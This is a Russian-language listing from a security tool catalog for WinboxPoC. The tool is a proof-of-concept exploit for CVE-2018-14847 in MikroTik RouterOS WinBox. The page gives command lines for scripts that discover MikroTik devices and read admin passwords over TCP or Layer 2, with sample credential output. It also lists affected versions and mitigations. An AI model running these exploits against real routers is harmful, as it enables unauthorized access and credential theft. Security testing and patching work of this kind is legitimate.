Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WinboxPoC — Доказательство концепции критической уязвимости Winbox (CVE-2018-14847) | Kitploit
Инструменты/GitHubGitHub/basucert/winboxpoc
Атаки на ПаролиАнализ уязвимостейЭксплуатацияСбор информацииСетевая безопасностьТестирование на ПроникновениеArchived
GitHubbasucert/winboxpoc

WinboxPoC

Доказательство концепции критической уязвимости Winbox (CVE-2018-14847)

Репозиторий
5204615 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

WinboxExploit

Это доказательство концепции критической уязвимости WinBox (CVE-2018-14847), которая позволяет произвольное чтение файлов с паролями в открытом виде.

Уязвимость давно исправлена, поэтому этот проект завершен и больше не будет поддерживаться или обновляться. Вы можете сделать форк и обновить его самостоятельно.

Статья в блоге

https://n0p.me/winbox-bug-dissection/

Требования

  • Python 3+

Этот скрипт НЕ будет работать с Python 2.x и ниже.

Как использовать

Скрипт прост в использовании с простыми аргументами в командной строке.

WinBox (TCP/IP)

Эксплуатируйте уязвимость и читайте пароль.

root@kitploit:~
python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Пример:

root@kitploit:~
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

Вы можете извлекать файлы, даже если устройство не имеет IP-адреса.

Простая проверка обнаружения локально подключенных устройств Mikrotik.

root@kitploit:~
python3 MACServerDiscover.py

Пример:

root@kitploit:~
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Эксплуатируйте уязвимость и читайте пароль.

root@kitploit:~
python3 MACServerExploit.py <MAC-ADDRESS>

Пример:

root@kitploit:~
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Уязвимые версии

Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы к этой эксплуатации.

Устройства Mikrotik, работающие на версиях RouterOS:

  • Longterm: 6.30.1 - 6.40.7
  • Stable: 6.29 - 6.42
  • Beta: 6.29rc1 - 6.43rc3

Для получения дополнительной информации см.: https://blog.mikrotik.com/security/winbox-vulnerability.html

Методы смягчения

  • Обновите маршрутизатор до версии RouterOS, которая включает исправление.
  • Отключите службу WinBox на маршрутизаторе.
  • Вы можете ограничить доступ к службе WinBox для конкретных IP-адресов следующим образом:
root@kitploit:~
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
  • Вы можете использовать некоторые правила фильтрации (ACL) для запрета внешнего доступа к службе WinBox:
root@kitploit:~
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
  • Ограничение доступа к службе mac-winbox можно выполнить, указав разрешенные интерфейсы:
root@kitploit:~
/tool mac-server mac-winbox

Авторские права

  • Спонсировано CERTCC Ирана (https://certcc.ir). Все права защищены.
Скачать инструмент